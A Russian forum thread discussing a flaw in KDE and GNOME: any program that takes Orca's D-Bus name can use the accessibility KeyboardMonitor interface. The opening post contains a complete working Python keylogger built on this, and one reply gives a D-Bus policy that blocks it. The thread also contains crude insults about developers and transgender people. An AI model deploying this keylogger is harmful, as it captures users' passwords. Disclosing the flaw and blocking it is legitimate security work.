LINUX.ORG.RU
Форум — Talks  

В Wayland завезли интерфейс для кейлоггеров из коробки

 , , ,


6

6

Привет, чят!

Как ты знаешь, одним из отличительных недостатков Wayland в сравнение с X11 является невозможность произвольной программой получить доступ к вводу с клавиатуры и захакернуть все твои пароли. Как минимум, в KDE и GNOME этот недостаток теперь исправлен.

Одним из валидных случаев, когда программе может требоваться весь ввод, является софт для людей с нарушениями зрения и т.д. В Linux такую роль исполняет Orca. Для того, чтобы обеспечить доступ Orca к событиям ввода, в KDE и GNOME добавили специальный интерфейс в dbus org.freedesktop.a11y.KeyboardMonitor, подписавшись на который можно собственно получать всю инфу. Возникает закономерный вопрос: как же определить, что доступ пытается получить именно Orca, а не злобный хакерский скрипт?

Ответ: KWin (композитор KDE) и Mutter (GNOME) проверяют… имя программы в dbus. И всё. Соответственно, любая программа, назвавшаяся org.gnome.Orca, получает по dbus доступ к вводу с клавиатуры и может захакеровывать твои пароли, ЛОРовец.

Пруф:

#!/usr/bin/env python3

import gi
gi.require_version('Gio', '2.0')
from gi.repository import Gio, GLib

bus = Gio.bus_get_sync(Gio.BusType.SESSION)

# Claim the Orca screen reader bus name
result = bus.call_sync(
    'org.freedesktop.DBus',
    '/org/freedesktop/DBus',
    'org.freedesktop.DBus',
    'RequestName',
    GLib.Variant('(su)', ('org.gnome.Orca.KeyboardMonitor', 0)),
    GLib.VariantType('(u)'),
    Gio.DBusCallFlags.NONE,
    -1, None
)
print(f"[*] RequestName result: {result}")  # 1 = acquired

# Now call WatchKeyboard
bus.call_sync(
    'org.freedesktop.a11y.Manager',
    '/org/freedesktop/a11y/Manager',
    'org.freedesktop.a11y.KeyboardMonitor',
    'WatchKeyboard',
    None, None,
    Gio.DBusCallFlags.NONE,
    -1, None
)
print("[+] WatchKeyboard succeeded!")

# Listen for KeyEvent signals
def on_key_event(connection, sender, path, interface, signal, params):
    pressed, flags, keysym, charcode, scancode = params.unpack()
    if pressed: # True = released, we log on press instead
        return

    if charcode >= 32 and charcode < 127:
        char = chr(charcode)
        print(f"{char}", end="", flush=True)
    elif keysym == 65293:
        print(f"\n", end="", flush=True)
    elif keysym == 65288:
        print(f"[BS]", end="", flush=True)
    elif keysym == 65289:
        print(f"[TAB]", end="", flush=True)
    elif keysym == 65507 or keysym == 65508:
        print(f"[CTRL]", end="", flush=True)
    elif keysym == 65505 or keysym == 65506:
        print(f"[SHIFT]", end="", flush=True)
    elif keysym == 65513 or keysym == 65514:
        print(f"[ALT]", end="", flush=True)
    elif keysym == 65515:
        print(f"[SUPER]", end="", flush=True)
    else:
        print(f"[{keysym}]", end="", flush=True)

bus.signal_subscribe(
    None,
    'org.freedesktop.a11y.KeyboardMonitor',
    'KeyEvent',
    None, None,
    Gio.DBusSignalFlags.NONE,
    on_key_event
)

print("[*] Listening for keystrokes...")
loop = GLib.MainLoop()
try:
    loop.run()
except KeyboardInterrupt:
    print("\n[*] Cleaning up")
    bus.call_sync(
        'org.freedesktop.a11y.Manager',
        '/org/freedesktop/a11y/Manager',
        'org.freedesktop.a11y.KeyboardMonitor',
        'UnwatchKeyboard',
        None, None,
        Gio.DBusCallFlags.NONE,
        -1, None
    )

Скрипту требуется пакет pygobject3 и всё. Скрипт печатает все события с клавиатуры в консольку, пока не получит ^C.

Код и прочая инфа взяты отсюда: https://linnemanlabs.com/posts/hello-my-name-is-orca/

В общем, чят, вот такое вот забавное состояние безопасности в Wayland, над которым работают суровые профессионалы.

P.S. бонусом, если вместо метода WatchKeyboard дёрнуть метод GrabKeyboard, весь ввод уйдёт твоему скрипту, а обычные окна получат шиш. В общем, всё абсолютно как в X11. А ещё через это можно глобальные хоткеи сделать. Наконец-то паритет по фичам достигнут!



Последнее исправление: yorshka (всего исправлений: 1)

Что я по этому поводу думаю после всех тех понтов, которые кидали авторы вяленда и их последователи: 🤣🤣🤣🤣🤣.

Десктопный линукс, итоги.

wandrien ★★★★
()

Я правильно понимаю, что если моё приложение для помощи слепым не будет входить в расово верные списки приложений - то на современном линуксе оно работать не будет?

Расово верный список:

  • Orca
PPP328 ★★★★★
()

Знаешь, я когда об этой проблеме задумывался, рассматривал варианты полноценной аутентификации приложений посредством MAC и т.п., чтобы пользователь точно знал, какому именно бинарному коду даёт полномочия, а дисплейный сервер мог точно проверить, что это именно тот же код.

В итоге от гениев индустрии, двигающих прогресс:

  • 15 лет топтания в луже
  • среньк

Хз, хочется злорадствовать, но обидно за вот это всё.

wandrien ★★★★
()
Последнее исправление: wandrien (всего исправлений: 1)
Ответ на: комментарий от PPP328

Просто занимай это имя на шине и всё. Будет как название браузера в UA, которое состоит из костылей совместимости чуть более чем полностью.

wandrien ★★★★
()
Ответ на: комментарий от PPP328

Расово верный список:

Orca

Да, всё так. Нужно патчить композитор, чтобы работало. Либо просто имя занимаешь, как этот скрипт делает.

yorshka
() автор топика
Ответ на: комментарий от yars068

XDMCP нет же, какой паритет? :)

XDMCP и в иксах сейчас работает как член пенсионера в санатории для больных Альцгеймером: вяло, хорошо если раз в неделю и только после долгих плясок с бубном и особой магии, но зато можно послушать истории о былых временах 30-летней давности.

Но я соглашусь, что отсутствие нормальной возможности организовать VDI с множеством сессий у одного юзера в лялексе – это какой-то позор. Впрочем, тут вообще всё – какой-то сраный позор.

yorshka
() автор топика
Последнее исправление: yorshka (всего исправлений: 2)

Good news everyone! (https://a1.drive-data.ru/cyLodb-215a14tmT0gT9NaGZjcw-960.jpg)

Ещё, оказывается, есть и org.freedesktop.a11y.PointerLocator - который возвращает глобальные координаты курсора.

Против чего Wayland вроде бы тоже боролся.

Судя по коду и issue - так же поддерживается в KWin и GNOME.

Ja-Ja-Hey-Ho ★★★★★
()
Ответ на: комментарий от Ja-Ja-Hey-Ho

Нет, ошибся - только относительно текущего окна.

Ja-Ja-Hey-Ho ★★★★★
()
Ответ на: комментарий от wandrien

Чего обидно то, просто «не будем им мешать».

firkax ★★★★★
()

Так всё началось ещё с Primary selection. Primary selection - это наследие иксов, которое размывает изоляцию программ. Копирование через Ctrl+C - осознанное действие. Primary selection - неявное, что противоречит принципу «явного согласия» в безопасности.

Тем не менее, это удобно, поэтому многие этим пользуются.

saahriktu ★★★★★
()

И что, прямо работает даже без включения в настройках специальных возможностей? Тогда и правда позор какой-то.

Loki13 ★★★★★
()

Wayland изнасиловал журналиста. Затестил в lxqt+labwc, не работает. Использовать accessibility как бэкдор уже традиция.

Merionet ★★
()
Ответ на: комментарий от Loki13

И что, прямо работает даже без включения в настройках специальных возможностей?

В KDE работает. В GNOME не знаю.

yorshka
() автор топика

Да уж…

Одним из валидных случаев, когда программе может требоваться весь ввод, является софт для людей с нарушениями зрения и т.д.

Почему из-за них должны страдать зрячие? Пусть специально отдельно включается для них, а по умолчанию будет выключено.

CrX ★★★★★
()

очередная инструментальная сходимость от (не очень то)Большого Брата

qulinxao3 ★☆
()
Ответ на: комментарий от yorshka

А ты страдаешь? Расскажи, как ты это делаешь.

Ну не прям страдаю — это гипербола. Но меня расстраивает, что любая софтина по сути может получить доступ к моему вводу в чужом окне, и теперь мне придётся потратить время, чтобы как-то это исправить.

CrX ★★★★★
()
Ответ на: комментарий от CrX

теперь мне придётся потратить время, чтобы как-то это исправить.

По ссылке есть рецепт: запрещаешь прогам брать это имя в dbus. Из минусов, Orca тоже перестанет работать, но тебе вроде не надо.

yorshka
() автор топика

Наконец-то паритет по фичам достигнут!

Вот у меня есть программка, в которой я отслеживаю нажатия (desktop-wide) клавиши Ctrl, F9, F10, R. Возможно паритет по клавишам и будет, хотя у меня большие сомнения. А вот как насчет паритета по возможностям, которые реализуются через xdotool? Чтобы можно было программно эмулировать движения и нажатия кнопок для мыши?

Chord ★★★★★
()
Ответ на: комментарий от CrX

Но меня расстраивает, что любая софтина по сути может получить доступ к моему вводу в чужом окне

А доступ в своем окне не беспокоит? Вот браузер, он может сразу моссаду сливать весь ввод, и даже наверняка так и делает. Зато он не увидит команды в окне терминала, приватность спасена.

bread ☆
()
Ответ на: комментарий от bread

Зато он не увидит команды в окне терминала, приватность спасена.

Ну как сказать не увидит, можно просто прочитать файл с историей команд))

wandrien ★★★★
()
Ответ на: комментарий от yorshka

По ссылке есть рецепт: запрещаешь прогам брать это имя в dbus. Из минусов, Orca тоже перестанет работать, но тебе вроде не надо.

Да, спасибо. Запретил всё, а не только Orca, рецептом по ссылке. Оно мне точно не надо, и не хочется следить за тем, что и когда они решат помимо Orca в вайтлист добавить.

Рецепт на случай, если у кого-то ссылка не открывается или ещё что:

Создать файл /etc/dbus-1/session.d/block-orca-impersonation.conf следующего содержания:

<busconfig>
  <policy context="default">
    <deny own="org.gnome.Orca.KeyboardMonitor"/>
  </policy>

  <policy context="default">
    <deny send_destination="org.freedesktop.a11y.Manager"
          send_path="/org/freedesktop/a11y/Manager"
          send_interface="org.freedesktop.a11y.KeyboardMonitor"/>
  </policy>
</busconfig>

После создания файла перезайти в сессию.

Первая полиси запрещает брать это имя, вторая запрещает собственно всю фичу. По идее второй достаточно, но и от первой вреда нет.

CrX ★★★★★
()
Последнее исправление: CrX (всего исправлений: 1)
Ответ на: комментарий от bread

А доступ в своем окне не беспокоит?

Нет, в своём не беспокоит. Я знаю, в какое окно и что ввожу.

Вот браузер, он может сразу моссаду сливать весь ввод, и даже наверняка так и делает.

Не делает. Исходники FF открыты, и «тысяча глаз», плюс можно проверить с помощью того же wireshark, что и куда сливается.

CrX ★★★★★
()
Ответ на: комментарий от wandrien

Ну как сказать не увидит, можно просто прочитать файл с историей команд))

Нельзя, bwrap помешает.

CrX ★★★★★
()
Ответ на: комментарий от Chord

А вот как насчет паритета по возможностям, которые реализуются через xdotool? Чтобы можно было программно эмулировать движения и нажатия кнопок для мыши?

Есть ydotool. Сам я, правда, им не пользуюсь, но вроде как умеет то же самое. Требует демона, да.

CrX ★★★★★
()
Ответ на: комментарий от bbc69

А две программы с одинаковым названием Orca могут работать? Оригинал и кейлоггер.

Нет. Dbus такого не позволяет, имена должны быть уникальными.

yorshka
() автор топика
Ответ на: комментарий от yorshka

Получается, те, кто использует орку, защищены от кейлоггера, либо у них всё сломается и они заподозрят неладное. А под ударом все остальные. Ынтересно.

bbc69
()
Последнее исправление: bbc69 (всего исправлений: 1)
Ответ на: комментарий от bbc69

Архитектурные решения лялекса на десктопе как всегда поражают своей глубиной.

wandrien ★★★★
()
Ответ на: комментарий от bbc69

С одной стороны, да. С другой, нашему гипотетическому троянцу никто не мешает при старте быстро прибить орку и запустить её с LD_PRELOAD, перехватывающим все вызовы в dbus.

yorshka
() автор топика
Ответ на: комментарий от watchcat382

С Intel ME тогда уж.

Intel ME норм. Аутисты-анальники до сих пор не смогли через него данными протечь, хотя мему уже лет 15 как минимум.

yorshka
() автор топика

Одним из валидных случаев, когда программе может требоваться весь ввод, является софт для людей с нарушениями зрения и т.д.

Ещё автоматизация тестирования и вообще автоматизация работы с софтом, изначально на автоматизацию не очень рассчитанным (аргумент «не надо пользоваться таким софтом» серьёзный, но в реальной жизни, к сожалению, так получается не всегда).

По теме – ура-ура. Похоже, Вяленый стал реально пригоден для десктопа. А как дышали-то… «Сетевая прозрачность не нужна», «Сетевой прозрачностью должны заниматься тулкиты», «Многооконность не нужна» и т.д.

Ура!

hobbit ★★★★★
()
Ответ на: комментарий от bbc69

То ли смеяться, то ли плакать.

Общеизвестно что удобство обратно пропорционально безопасности. Из этого следует что удобная система не может быть безопасной, а безопасная - удобной. Вопрос лишь в том как найти более-менее приемлимый компромисс.

watchcat382 ★★
()
Ответ на: комментарий от hobbit

Ещё автоматизация тестирования и вообще автоматизация работы с софтом, изначально на автоматизацию не очень рассчитанным

Ээээ… ты не понял. Там можно только смотреть. Свои ивенты совать нельзя.

аргумент «не надо пользоваться таким софтом» серьёзный

Это не серьёзный аргумент, это хня из под коня. Сборище поехавших, пишущих софт для рисования панелек и установки обоев на рабочий стол, решили, что они теперь будут диктовать кому каким софтом как пользоваться.

yorshka
() автор топика
Ответ на: комментарий от yorshka

Там можно только смотреть. Свои ивенты совать нельзя.

Жаль. Ну может, ещё созреют?.. :)

hobbit ★★★★★
()
Ответ на: комментарий от yorshka

Сборище поехавших, пишущих софт для рисования панелек и установки обоев на рабочий стол, решили, что они теперь будут диктовать кому каким софтом как пользоваться.

Лучше и не скажешь.

wandrien ★★★★
()
Ответ на: комментарий от yorshka

Или нам не докладывают где и что через МЕ смогли нехорошего сделать. Так-то уязвимости в нем вполне себе находили: https://habr.com/ru/companies/pt/articles/430132/

watchcat382 ★★
()
Последнее исправление: watchcat382 (всего исправлений: 1)
Ответ на: комментарий от yorshka

Сборище поехавших, пишущих софт для рисования панелек и установки обоев на рабочий стол, решили, что они теперь будут диктовать кому каким софтом как пользоваться.

Ну тут на самом деле о двух концах палка. Упоротость названного сборища я не отрицаю, но это не отменяет того факта, что есть ПО, в которое эргономика встроена, а есть то, в которое нет. Например, при всём моём сложном отношении к Майкрософту – старый MS Word (до внедрения риббона) был великолепно настраиваемой программой: макросы, хоткеи разных видов и др. Таким программам внешняя автоматизация не очень-то нужна.

А есть такие программы, которые рассчитаны исключительно на наматывание километров мышью…

hobbit ★★★★★
()
Ответ на: комментарий от wandrien

Сборище поехавших, пишущих софт для рисования панелек и установки обоев на рабочий стол, решили, что они теперь будут диктовать кому каким софтом как пользоваться.

Лучше и не скажешь.

Это объективная реальность. У них там всех поголовно крыша протекла до самого подвала. В GNOME сейчас очередная драма разворачивается, потому что мужиков в юбках ущемляет, что кому-то нравится Гарри Поттер, а кто-то пользуется неправильным ноутбуком (от Framework). Я этим людям в вопросах выбора туалетной бумаги не стал бы доверять, не то что систему безопасности ОС и защиту от перехвата данных с клавиатуры делать.

yorshka
() автор топика
Ответ на: комментарий от hobbit

Ну тут на самом деле о двух концах палка. Упоротость названного сборища я не отрицаю, но это не отменяет того факта, что есть ПО, в которое эргономика встроена, а есть то, в которое нет. Например, при всём моём сложном отношении к Майкрософту – старый MS Word (до внедрения риббона) был великолепно настраиваемой программой: макросы, хоткеи разных видов и др. Таким программам внешняя автоматизация не очень-то нужна.

У старого MS Word и у большинства вендософта возможности для автоматизации через OLE были такие, что лялексу и не снилось. Старая MacOS (Classic и ранний софт в MacOS X) туда же, там любую кнопку можно было и любой элемент интерфейса можно было дёргать из скриптов. В макоси вообще можно было эти скрипты мышкой накликивать, записывая события для последующего автоматического воспроизведения.

Люнексоеды бьют себя членом в грудь с воплями о скриптинге, но люнекс в этом вопросе просто чудовищно убог. Выблевать пачку текста в stdout и пройтись по ней с помощью grep и awk – вот вершина люнексового скриптинга.

Гарри-то им чем не угодил?

Авторша выступает против переодетых мужиков в женских туалетах. Довольно старая история уже.

yorshka
() автор топика
Последнее исправление: yorshka (всего исправлений: 4)

вот такое вот забавное состояние безопасности в Wayland

Так дыра же не в дисплейном протоколе, а в dbus-интерфейсах, предоставляемым конкретными реализациями.

i-rinat ★★★★★
()
Вы не можете добавлять комментарии в эту тему: только для зарегистрированных, score>=50.